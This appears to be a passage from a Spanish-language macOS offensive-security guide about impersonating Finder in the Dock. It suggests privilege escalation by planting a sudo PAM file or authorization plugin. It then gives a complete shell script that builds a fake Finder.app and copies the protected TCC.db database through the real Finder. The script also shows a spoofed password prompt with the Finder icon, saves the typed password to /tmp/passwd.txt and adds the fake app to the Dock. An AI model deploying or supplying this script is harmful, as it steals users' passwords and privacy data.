Algunas sugerencias:

• No puedes eliminar Finder del Dock, así que si vas a añadirlo al Dock, podrías poner el Finder falso justo al lado del real. Para esto necesitas añadir la entrada del Finder falso al principio del array del Dock.
• Otra opción es no colocarlo en el Dock y simplemente abrirlo, "Finder pidiendo controlar Finder" no es tan raro.
• Otra opción para escalar a root sin pedir la contraseña con una horrible ventana, es hacer que Finder realmente pida la contraseña para realizar una acción privilegiada:
• Pedir a Finder que copie a /etc/pam.d un nuevo archivo sudo (El aviso pidiendo la contraseña indicará que "Finder quiere copiar sudo")
• Pedir a Finder que copie un nuevo Plugin de Autorización (Podrías controlar el nombre del archivo para que el aviso pidiendo la contraseña indique que "Finder quiere copiar Finder.bundle")

#!/bin/sh

# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';

rm -rf /tmp/Finder.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Finder.app/Contents/MacOS
mkdir -p /tmp/Finder.app/Contents/Resources

# Payload to execute
cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c

chmod +x /tmp/Finder.app/Contents/MacOS/Finder

# Info.plist
cat << EOF > /tmp/Finder.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Finder
cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock